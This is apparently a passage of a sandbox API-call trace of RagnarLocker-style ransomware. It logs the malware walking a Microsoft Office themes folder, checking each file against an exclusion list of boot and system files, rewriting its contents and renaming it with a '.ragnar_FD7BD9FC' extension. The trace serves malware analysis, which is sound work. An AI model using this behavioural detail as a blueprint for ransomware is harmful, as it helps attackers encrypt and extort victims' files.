lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.ragnar_FD7BD9FC" [0070.910] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.914] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0070.914] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0070.914] lstrcpyW (in: lpString1=0x1eab6a, lpString2="AXIS.INF" | out: lpString1="AXIS.INF") returned="AXIS.INF" [0070.914] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned=".INF" [0070.914] lstrcmpiW (lpString1="AXIS.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.914] lstrcmpiW (lpString1="AXIS.INF", lpString2="autorun.inf") returned 1 [0070.914] lstrcmpiW (lpString1="AXIS.INF", lpString2="boot.ini") returned -1 [0070.914] lstrcmpiW (lpString1="AXIS.INF", lpString2="bootfont.bin") returned -1 [0070.914] lstrcmpiW (lpString1="AXIS.INF", lpString2="bootsect.bak") returned -1 [0070.914] lstrcmpiW (lpString1="AXIS.INF", lpString2="bootmgr") returned -1 [0070.914] lstrcmpiW (lpString1="AXIS.INF", lpString2="bootmgr.efi") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="bootmgfw.efi") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="desktop.ini") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="iconcache.db") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="ntldr") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="ntuser.dat") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="ntuser.dat.log") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="ntuser.ini") returned -1 [0070.915] lstrcmpiW (lpString1="AXIS.INF", lpString2="thumbs.db") returned -1 [0070.915] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0070.915] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0070.915] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0070.915] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0070.915] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0070.915] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0070.915] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0070.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 0x20 [0070.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.918] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=529) returned 1 [0070.918] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.918] GetProcessHeap () returned 0x580000 [0070.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.918] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.919] VirtualAlloc (lpAddress=0x0, dwSize=0x211, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.919] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.919] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.919] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x211, lpOverlapped=0x0) returned 1 [0070.919] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.919] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.920] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x211, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x211, lpOverlapped=0x0) returned 1 [0070.920] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.920] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.920] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x211, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.920] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.920] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.920] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.920] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.920] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.920] GetProcessHeap () returned 0x580000 [0070.920] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.920] CloseHandle (hObject=0x100) returned 1 [0070.921] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" [0070.921] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.ragnar_FD7BD9FC" [0070.921] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.922] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0070.922] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0070.922] lstrcpyW (in: lpString1=0x1eab6a, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0070.922] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned=".GIF" [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0070.922] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0070.922] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0070.922] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0070.922] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0070.923] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0070.923] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0070.923] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0070.923] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0070.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0070.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.923] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2848) returned 1 [0070.923] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.923] GetProcessHeap () returned 0x580000 [0070.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.923] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.925] VirtualAlloc (lpAddress=0x0, dwSize=0xb20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.925] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.925] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.925] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb20, lpOverlapped=0x0) returned 1 [0070.925] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.925] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb20, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.925] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb20, lpOverlapped=0x0) returned 1 [0070.925] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.925] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.926] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.926] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.926] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.926] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.926] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.926] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.926] GetProcessHeap () returned 0x580000 [0070.926] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.926] CloseHandle (hObject=0x100) returned 1 [0070.927] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" [0070.927] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.ragnar_FD7BD9FC" [0070.927] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.927] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c776220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c776220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.927] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0070.927] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0070.928] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\RGNR_FD7BD9FC.txt") returned=".txt" [0070.928] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0070.928] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0070.928] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0070.928] lstrcpyW (in: lpString1=0x1eab6a, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0070.928] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned=".PNG" [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0070.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0070.928] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0070.928] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0070.928] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0070.928] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0070.928] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0070.928] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0070.928] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0070.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0070.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0070.929] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=34916) returned 1 [0070.929] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x885b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.929] GetProcessHeap () returned 0x580000 [0070.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.929] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.930] VirtualAlloc (lpAddress=0x0, dwSize=0x8864, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.930] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.931] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.931] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8864, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8864, lpOverlapped=0x0) returned 1 [0070.932] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.932] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8864, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.932] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8864, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8864, lpOverlapped=0x0) returned 1 [0070.933] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8864, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.933] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.933] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x8864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.933] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.933] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.933] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.933] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.933] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, 